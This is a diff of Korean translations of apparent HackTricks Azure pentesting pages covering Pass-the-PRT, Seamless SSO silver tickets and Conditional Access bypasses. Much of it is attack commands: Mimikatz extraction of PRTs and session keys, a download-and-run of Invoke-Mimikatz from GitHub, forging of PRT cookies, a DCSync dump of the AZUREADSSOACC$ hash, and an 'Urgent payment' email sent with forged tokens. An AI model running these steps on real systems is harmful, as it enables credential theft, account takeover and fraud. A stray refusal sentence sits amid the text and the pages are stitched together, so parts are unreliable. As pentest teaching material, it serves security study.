-SSO 상태 섹션에서 **`AzureAdPrt`**가 **YES**로 설정되어 있는 것을 확인할 수 있습니다.
-
-<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
-
-같은 출력에서 **장치가 Azure에 가입되어 있는지**(필드 `AzureAdJoined`에서)도 확인할 수 있습니다:
-
-<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
-
-## PRT 쿠키
-
-PRT 쿠키는 실제로 **`x-ms-RefreshTokenCredential`**이라고 하며, JSON 웹 토큰(JWT)입니다. JWT는 **3부분**으로 구성되어 있으며, **헤더**, **페이로드** 및 **서명**으로 나뉘며, `.`로 구분되고 모두 URL 안전한 base64로 인코딩됩니다. 일반적인 PRT 쿠키는 다음과 같은 헤더와 본문을 포함합니다:
-```json
-{
-"alg": "HS256",
-"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
-}
-{
-"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
-"is_primary": "true",
-"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
-}
-```
-실제 **Primary Refresh Token (PRT)**는 **`refresh_token`** 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용은 우리에게 불투명하고 복호화할 수 없습니다. 필드 **`is_primary`**는 이 토큰 내에 기본 새로 고침 토큰이 캡슐화되어 있음을 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩되도록 하기 위해, `request_nonce`는 `logon.microsoftonline.com` 페이지에서 전송됩니다.
-
-### TPM을 이용한 PRT 쿠키 흐름
-
-**LSASS** 프로세스는 **KDF context**를 TPM에 전송하고, TPM은 **세션 키**(AzureAD에 등록될 때 수집되어 TPM에 저장된)를 사용하여 이전 컨텍스트와 함께 **키를 파생**하며, 이 **파생된 키**는 **PRT 쿠키(JWT)를 서명하는 데 사용됩니다.**
-
-**KDF context는** AzureAD의 nonce와 PRT가 혼합된 **JWT**와 **컨텍스트**(무작위 바이트)입니다.
-
-따라서 PRT가 TPM 내부에 위치해 있기 때문에 추출할 수 없더라도, LSASS를 악용하여 **새로운 컨텍스트에서 파생된 키를 요청하고 생성된 키를 사용하여 쿠키를 서명하는** 것이 가능합니다.
-
-<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
-
-## PRT 악용 시나리오
-
-**일반 사용자**로서 LSASS에 SSO 데이터를 요청하여 **PRT 사용을 요청**할 수 있습니다.\
-이는 **Web Account Manager**(토큰 브로커)에서 토큰을 요청하는 **네이티브 앱**처럼 수행할 수 있습니다. WAM은 요청을 **LSASS**에 전달하고, LSASS는 서명된 PRT 주장을 사용하여 토큰을 요청합니다. 또는 **PRT 쿠키**를 **헤더**로 사용하여 Azure AS 로그인 페이지에 대한 요청을 인증하는 **브라우저 기반(웹) 흐름**으로 수행할 수 있습니다.
-
-**SYSTEM**으로서 TPM에 의해 보호되지 않는 경우 PRT를 **탈취하거나 LSASS에서 PRT 키와 상호작용**할 수 있습니다.
-
-## Pass-the-PRT 공격 예시
-
-### 공격 - ROADtoken
-
-이 방법에 대한 자세한 정보는 [**이 게시물**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)을 확인하세요. ROADtoken은 올바른 디렉토리에서 **`BrowserCore.exe`**를 실행하고 이를 사용하여 **PRT 쿠키를 얻습니다**. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 **지속적인 새로 고침 토큰을 얻는 데** 사용될 수 있습니다.
-
-유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 nonce입니다.\
-다음과 같이 얻을 수 있습니다:
-```bash
-$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
-$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
-
-$Params = @{
-"URI"     = $URL
-"Method"  = "POST"
-}
-$Body = @{
-"grant_type" = "srv_challenge"
-}
-$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
-$Result.Nonce
-AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
-```
-또는 [**roadrecon**](https://github.com/dirkjanm/ROADtools)를 사용하여:
-```bash
-roadrecon auth prt-init
-```
-그런 다음 [**roadtoken**](https://github.com/dirkjanm/ROADtoken)를 사용하여 새로운 PRT를 얻을 수 있습니다(사용자의 프로세스에서 도구를 실행하여 공격):
-```bash
-.\ROADtoken.exe <nonce>
-```
-죄송합니다. 요청하신 내용을 처리할 수 없습니다.
-```bash
-Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
-```
-그런 다음 **생성된 쿠키**를 사용하여 **토큰을 생성**하고 Azure AD **Graph** 또는 Microsoft Graph를 사용하여 **로그인**할 수 있습니다:
-```bash
-# Generate
-roadrecon auth --prt-cookie <prt_cookie>
-
-# Connect
-Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
-```
-### Attack - Using roadrecon
-
-### Attack - Using AADInternals and a leaked PRT
-
-`Get-AADIntUserPRTToken` **사용자의 PRT 토큰을** Azure AD에 가입된 또는 하이브리드 가입된 컴퓨터에서 가져옵니다. `BrowserCore.exe`를 사용하여 PRT 토큰을 가져옵니다.
-```bash
-# Get the PRToken
-$prtToken = Get-AADIntUserPRTToken
-
-# Get an access token for AAD Graph API and save to cache
-Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
-```
-Mimikatz의 값을 가지고 있다면 AADInternals를 사용하여 토큰을 생성할 수도 있습니다:
-```bash
-# Mimikat "PRT" value
-$MimikatzPRT="MC5BWU..."
-
-# Add padding
-while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
-
-# Decode
-$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
-
-# Mimikatz "Clear key" value
-$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
-
-# Convert to Byte array and B64 encode
-$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
-
-# Generate PRTToken with Nonce
-$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
-$prtToken
-## You can already use this token ac cookie in the browser
-
-# Get access token from prtToken
-$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
-
-# Verify access and connect with Az. You can see account id in mimikatz prt output
-Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
-```
-[https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
-그런 다음 [https://portal.azure.com](https://portal.azure.com)으로 이동합니다.
-
-> [!CAUTION]
-> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하십시오. 만약 사라진다면 실수를 한 것이며 다시 과정을 거쳐야 할 수 있습니다. 사라지지 않는다면 괜찮을 것입니다.
-
-### 공격 - Mimikatz
-
-#### 단계
-
-1. **PRT (Primary Refresh Token)가 LSASS** (Local Security Authority Subsystem Service)에서 추출되어 이후 사용을 위해 저장됩니다.
-2. **세션 키가 다음으로 추출됩니다**. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) 및 그 응용에 대한 이해는 [Pass-the-cookie attack](az-pass-the-cookie.md)를 참조하십시오.
-3. 세션 키의 복호화 후, **PRT에 대한 파생 키와 컨텍스트가 얻어집니다**. 이는 **PRT 쿠키 생성에 필수적입니다**. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan에 의해 제공되었으며, [여기](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)에서 확인할 수 있습니다.
-
-> [!CAUTION]
-> PRT가 TPM 내부에 있고 `lsass` 내부에 없다면 **mimikatz는 이를 추출할 수 없습니다**.\
-> 그러나 TPM에서 **컨텍스트의 파생 키로부터 키를 얻고 이를 사용하여 쿠키에 서명하는 것이 가능할 것입니다 (옵션 3 확인).**
-
-이 세부 사항을 추출하는 과정에 대한 **심층 설명**은 여기에서 확인할 수 있습니다: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
-
-> [!WARNING]
-> 2021년 8월 수정 이후 다른 사용자의 PRT 토큰을 얻는 것은 정확히 작동하지 않을 것입니다. 오직 사용자만 자신의 PRT를 얻을 수 있으며 (로컬 관리자는 다른 사용자의 PRT에 접근할 수 없음), 자신의 PRT에 접근할 수 있습니다.
-
-**mimikatz**를 사용하여 PRT를 추출할 수 있습니다:
-```bash
-mimikatz.exe
-Privilege::debug
-Sekurlsa::cloudap
-
-# Or in powershell
-iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
-Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-
-<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
-
-**Prt**로 표시된 부분을 **복사**하고 저장하세요.\
-아래 강조 표시된 **`ProofOfPossesionKey`** 필드의 **`KeyValue`**인 세션 키도 추출하세요. 이것은 암호화되어 있으며, 이를 해독하기 위해 DPAPI 마스터 키를 사용해야 합니다.
-
-<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
-
-> [!NOTE]
-> PRT 데이터가 보이지 않는 경우, **PRT가 없을 수 있습니다**. 이는 귀하의 장치가 Azure AD에 가입되지 않았거나 **오래된 버전**의 Windows 10을 실행하고 있을 수 있습니다.
-
-세션 키를 **해독**하려면 **SYSTEM** 권한으로 **승격**하여 컴퓨터 컨텍스트에서 실행해야 하며, 이를 통해 **DPAPI 마스터 키를 사용하여 해독할 수 있습니다**. 다음 명령어를 사용하여 그렇게 할 수 있습니다:
-```
-token::elevate
-dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
-```
-<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
-
-#### 옵션 1 - 전체 Mimikatz
-
- 이제 Context 값을 모두 복사하고 싶습니다:
-
-<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
-
- 그리고 파생 키 값을 복사합니다:
-
-<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
-
- 마지막으로 이 모든 정보를 사용하여 **PRT 쿠키를 생성**할 수 있습니다:
-```bash
-Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
-```
-<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
-
- [https://login.microsoftonline.com](https://login.microsoftonline.com)에 가서 login.microsoftonline.com의 모든 쿠키를 지우고 새로운 쿠키를 입력합니다.
-```
-Name: x-ms-RefreshTokenCredential
-Value: [Paste your output from above]
-Path: /
-HttpOnly: Set to True (checked)
-```
- 그런 다음 [https://portal.azure.com](https://portal.azure.com)으로 이동합니다.
-
-> [!CAUTION]
-> 나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하세요. 만약 사라진다면 실수를 했을 수 있으며, 다시 과정을 거쳐야 합니다. 사라지지 않는다면 괜찮을 것입니다.
-
-#### Option 2 - roadrecon using PRT
-
- 먼저 PRT를 갱신하여 `roadtx.prt`에 저장합니다:
-```bash
-roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
-```
- 이제 `roadtx browserprtauth`를 사용하여 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있습니다.
-```bash
-roadtx browserprtauth
-roadtx describe < .roadtools_auth
-```
-<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
-
-#### Option 3 - roadrecon을 사용한 파생 키
-
-mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다:
-```bash
-roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
-```
-## References
-
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
-
-{{#include ../../../banners/hacktricks-training.md}}
@@ -2,23 +2,23 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## Basic Information
+## 기본 정보

-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 **사용자가 회사 네트워크에 연결된 회사 장치에서** 자동으로 **로그인**하도록 합니다. 활성화되면, **사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며**, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.
+[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)는 **사용자가 회사 네트워크에 연결된 회사 장치에서** 자동으로 **로그인**하도록 합니다. 활성화되면, **사용자는 Azure AD에 로그인하기 위해 비밀번호를 입력할 필요가 없으며**, 일반적으로 사용자 이름도 입력할 필요가 없습니다. 이 기능은 사용자가 추가적인 온프레미스 구성 요소 없이 클라우드 기반 애플리케이션에 쉽게 접근할 수 있도록 합니다.

 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>

-기본적으로 Azure AD Seamless SSO는 **온프레미스 도메인에 가입된 PC에서** 사용자를 **로그인**시킵니다.
+기본적으로 Azure AD Seamless SSO는 **온프레미스 도메인에 가입된 PC에서** **사용자를 로그인**시킵니다.

-이는 [**PHS (Password Hash Sync)**](phs-password-hash-sync.md)와 [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) 모두에서 지원됩니다.
+이는 [**PHS (비밀번호 해시 동기화)**](phs-password-hash-sync.md)와 [**PTA (통과 인증)**](pta-pass-through-authentication.md) 모두에서 지원됩니다.

-데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성합니다**. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송됩니다**.
+데스크탑 SSO는 인증을 위해 **Kerberos**를 사용합니다. 구성되면, Azure AD Connect는 온프레미스 AD에 **`AZUREADSSOACC$`라는 컴퓨터 계정을 생성**합니다. `AZUREADSSOACC$` 계정의 비밀번호는 **구성 중에 Entra ID에 평문으로 전송**됩니다.

 **Kerberos 티켓**은 비밀번호의 **NTHash (MD4)**를 사용하여 **암호화**되며, Entra ID는 전송된 비밀번호를 사용하여 티켓을 복호화합니다.

-**Entra ID**는 Kerberos **티켓**을 수락하는 **엔드포인트**(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.
+**Entra ID**는 Kerberos **티켓**을 수락하는 **엔드포인트** (https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인에 가입된 머신의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.

-### Enumeration
+### 열거
 ```bash
 # Check if the SSO is enabled in the tenant
 Import-Module AADInternals
@@ -42,14 +42,14 @@ $searcher.FindOne()

 TGS 티켓을 얻기 위해 공격자는 다음 중 하나를 가져야 합니다:
 - **손상된 사용자의 TGS:** 메모리에서 `HTTP/autologon.microsoftazuread-sso.com`에 대한 티켓으로 사용자의 세션을 손상시키면 클라우드 리소스에 접근할 수 있습니다.
- **손상된 사용자의 TGT:** 하나가 없더라도 사용자가 손상되었다면, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에 구현된 가짜 TGT 위임 트릭을 사용하여 하나를 얻을 수 있습니다.
+- **손상된 사용자의 TGT:** 사용자가 손상되었지만 TGT가 없더라도, [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 및 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)와 같은 많은 도구에 구현된 가짜 TGT 위임 트릭을 사용하여 하나를 얻을 수 있습니다.
 - **손상된 사용자의 해시 또는 비밀번호:** SeamlessPass는 이 정보를 사용하여 도메인 컨트롤러와 통신하여 TGT를 생성한 다음 TGS를 생성합니다.
 - **골든 티켓:** KRBTGT 키가 있다면 공격당한 사용자를 위한 TGT를 생성할 수 있습니다.
- **AZUREADSSOACC$ 계정 해시 또는 비밀번호:** 이 정보와 사용자의 보안 식별자(SID)를 사용하여 클라우드와 인증할 서비스 티켓을 생성할 수 있습니다(이전 방법에서 수행된 것처럼).
+- **AZUREADSSOACC$ 계정 해시 또는 비밀번호:** 이 정보와 사용자의 보안 식별자(SID)를 사용하여 서비스 티켓을 생성하고 클라우드에 인증할 수 있습니다(이전 방법에서 수행된 것처럼).

 ### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)

-[이 블로그 게시물에서 설명한 바와 같이](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), 이전 요구 사항 중 하나를 갖고 있다면 **SeamlessPass** 도구를 사용하여 손상된 사용자로서 또는 **`AZUREADSSOACC$`** 계정 해시 또는 비밀번호가 있다면 다른 사용자로서 클라우드 리소스에 접근하는 것이 매우 쉽습니다.
+[이 블로그 게시물에서 설명한 바와 같이](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), 이전 요구 사항 중 하나라도 있으면 **SeamlessPass** 도구를 사용하여 손상된 사용자로서 또는 **`AZUREADSSOACC$`** 계정 해시 또는 비밀번호가 있는 경우 다른 사용자로서 클라우드 리소스에 접근하는 것이 매우 쉽습니다.

 마지막으로, TGT를 사용하여 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) 도구를 사용할 수 있습니다:
 ```bash
@@ -70,7 +70,7 @@ Firefox를 원활한 SSO와 함께 작동하도록 설정하는 추가 정보는

 ### AZUREADSSOACC$ 계정의 해시 가져오기

-사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **모든 온프레미스 사용자와 동기화된** Azure에 연결하기 위해 **실버 티켓을 생성**할 수 있습니다:
+사용자 **`AZUREADSSOACC$`의 **비밀번호**는 절대 변경되지 않습니다**. 따라서 도메인 관리자는 **이 계정의 해시를 손상시킬 수 있으며**, 이를 사용하여 **은 티켓**을 생성하여 **동기화된 모든 온프레미스 사용자**로 Azure에 연결할 수 있습니다:
 ```bash
 # Dump hash using mimikatz
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -89,8 +89,8 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
 > [!NOTE]
-> 현재 정보로는 이전에 언급한 대로 **SeamlessPass** 도구를 사용하여 도메인의 모든 사용자에 대한 azure 및 entraid 토큰을 얻을 수 있습니다.
-> 또한 이전 기술(및 기타)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다.
+> 현재 정보로는 이전에 언급한 대로 **SeamlessPass** 도구를 사용하여 도메인 내의 모든 사용자에 대한 azure 및 entraid 토큰을 얻을 수 있습니다.
+> 또한 이전 기술(및 기타 기술)을 사용하여 `AZUREADSSOACC$` 계정 대신에 가장하고자 하는 피해자의 비밀번호 해시를 얻을 수 있습니다.

 #### Silver Tickets 생성

@@ -109,14 +109,14 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
 ## Send email
 Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
 ```
-### Using Silver Tickets with Firefox
+### Firefox에서 Silver Ticket 사용하기

-Silver 티켓을 사용하기 위해서는 다음 단계를 실행해야 합니다:
+Silver ticket을 활용하기 위해서는 다음 단계를 실행해야 합니다:

 1. **브라우저 시작:** Mozilla Firefox를 실행해야 합니다.
 2. **브라우저 구성:**
 - **`about:config`**로 이동합니다.
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)의 기본 설정을 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다:
+- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 설정을 지정된 [값](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)으로 설정합니다:
 - `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
 - Firefox `설정`으로 이동하여 `Microsoft, 작업 및 학교 계정을 위한 Windows 단일 로그인 허용`을 검색하고 활성화합니다.
 3. **웹 애플리케이션 접근:**
@@ -129,7 +129,7 @@ Silver 티켓을 사용하기 위해서는 다음 단계를 실행해야 합니
 > 사용자가 MFA를 활성화한 경우 **우회되지 않습니다**.


-### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+### 온프레미스 -> 클라우드 리소스 기반 제약 위임을 통한 공격 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>

 공격을 수행하기 위해 필요한 것은:

@@ -2,17 +2,17 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## 기본 정보
+## Basic Information

-Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정된 규칙입니다. 이러한 정책은 조직이 적절한 상황에서 올바른 액세스 제어를 적용하여 자원을 보호하는 데 도움을 줍니다.\
-Conditional access 정책은 기본적으로 **누가** **무엇**에 **어디서** **어떻게** 접근할 수 있는지를 **정의**합니다.
+Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정된 규칙입니다. 이러한 정책은 적절한 상황에서 올바른 액세스 제어를 적용하여 조직이 자원을 보호하는 데 도움을 줍니다.\
+Conditional access 정책은 기본적으로 **누가** **어디서** **무엇**에 접근할 수 있는지와 **어떻게** 접근할 수 있는지를 **정의**합니다.

 여기 몇 가지 예가 있습니다:

-1. **로그인 위험 정책**: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다.
-2. **장치 준수 정책**: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다.
+1. **Sign-In Risk Policy**: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다.
+2. **Device Compliance Policy**: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다.

-## 열거
+## Enumeration
 ```bash
 # Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
 az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
@@ -22,7 +22,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
 ```
 ## Conditional Acces Policies Bypasses

-조건부 액세스 정책이 **우회할 수 있는 정보를 쉽게 조작하고 있는 경우**가 있을 수 있습니다. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.
+조건부 액세스 정책이 **우회할 수 있는 정보를 쉽게 조작하고 있는지 확인할 수 있습니다**. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.

 조건부 액세스 정책을 구성할 때는 **영향을 받는 사용자**와 **대상 리소스**(모든 클라우드 앱과 같은)를 지정해야 합니다.

@@ -34,7 +34,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
 - **장치 플랫폼**: 모든 장치 또는 Android, iOS, Windows Phone, Windows, macOS, Linux 선택
 - “모든 장치”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다.
 - **클라이언트 앱**: 옵션은 “브라우저”, “모바일 앱 및 데스크톱 클라이언트”, “Exchange ActiveSync 클라이언트” 및 “기타 클라이언트”입니다.
- 선택되지 않은 옵션으로 로그인하여 우회할 수 있습니다.
+- 선택되지 않은 옵션으로 로그인 우회
 - **장치 필터**: 사용된 장치와 관련된 규칙을 생성할 수 있습니다.
 - **인증 흐름**: 옵션은 “장치 코드 흐름” 및 “인증 전송”입니다.
 - 이는 공격자가 피해자의 계정에 접근하기 위해 피싱 시도를 하는 경우가 아니라면 영향을 미치지 않습니다.
@@ -43,7 +43,7 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona

 ### Device Platforms - Device Condition

-**장치 플랫폼**(Android, iOS, Windows, macOS...)에 기반한 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 우회하기 쉽습니다. 모든 옵션에서 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:
+**장치 플랫폼**(Android, iOS, Windows, macOS...)에 기반한 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 우회하기 쉽습니다. 모든 옵션이 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:

 <figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>

@@ -60,12 +60,12 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona

 ### Cloud Apps

-사용자가 **특정 앱**에 접근하려고 할 때 MFA를 차단하거나 강제하는 **조건부 액세스 정책을 구성**할 수 있습니다:
+사용자가 **특정 앱**에 접근하려고 할 때 MFA를 차단하거나 강제하는 **조건부 액세스 정책을 구성할 수 있습니다**:

 <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

-이 보호를 우회하려면 **어떤 애플리케이션에도 로그인할 수 있는지** 확인해야 합니다.\
-도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도를 하고 성공하면 토큰을 알려줍니다.
+이 보호를 우회하려면 **모든 애플리케이션에 로그인할 수 있는지** 확인해야 합니다.\
